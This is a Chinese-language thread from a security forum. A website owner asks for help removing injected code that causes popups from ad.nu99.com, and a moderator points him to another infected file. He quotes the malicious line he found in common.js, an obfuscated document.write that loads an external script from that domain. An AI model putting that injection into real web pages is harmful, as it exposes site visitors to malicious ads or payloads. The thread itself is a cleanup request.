瑞星卡卡安全论坛

我的站被挂了　　　ad.nu99.com




按网上一些朋友所说的，我用搜索软件　　在common.js文件里果然找到了
document.write("<s"+"cript src='http://a"+"d.n"+"u99"+".c"+"om/i"+"p.asp?l"+"oc=jinhua'><\/s"+"cript>");

并把这个删除了　，删除后服务器也重启了


可我的站　在打开的时候还是　弹出  http://ad.nu99.com/?action=pop










希望高手　帮助~~~

用户系统信息：Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.195.0 Safari/531.0 SE 2.X

网站地址是什么？

网址是，  www.2165588.com

请版主帮忙

我这里访问正常呀。

我这里访问正常呀

我这里访问正常呀

我晕，难道你们那里都不出吗　

我自己公司里两台电脑都出的哦　
www.2165588.com
kaixin.2165588.com
bbs.2165588.com

麻烦　版主帮我检查一下　我这里有的时候打开就出　有的时候需要打开网站等一会儿　他才弹出窗口

我把首页的文件替换到原来的　　了　　貌似不出了　

请大家帮再仔细检查一下　我的站，谢谢大家了哦　谢谢“大版主”“”

大版主,朋友们, 今天我一个弟弟 在外地说,他那里还出
我从网上 看到有网友说  这种  挂的弹窗  是每24小时 同一IP 才出一次  是不是有这么 高级啊

大版主帮忙出主意

你看一下fun.js这个文件，ms和你说的地址不太一样。见下面截图：

谢谢大版主  我看一下

谢谢大版主  我找到了    我前天 全盘搜索

病毒代码 关键字的时候  怎么就在 common.js 文件里找到了

其他的里面没找到,怪了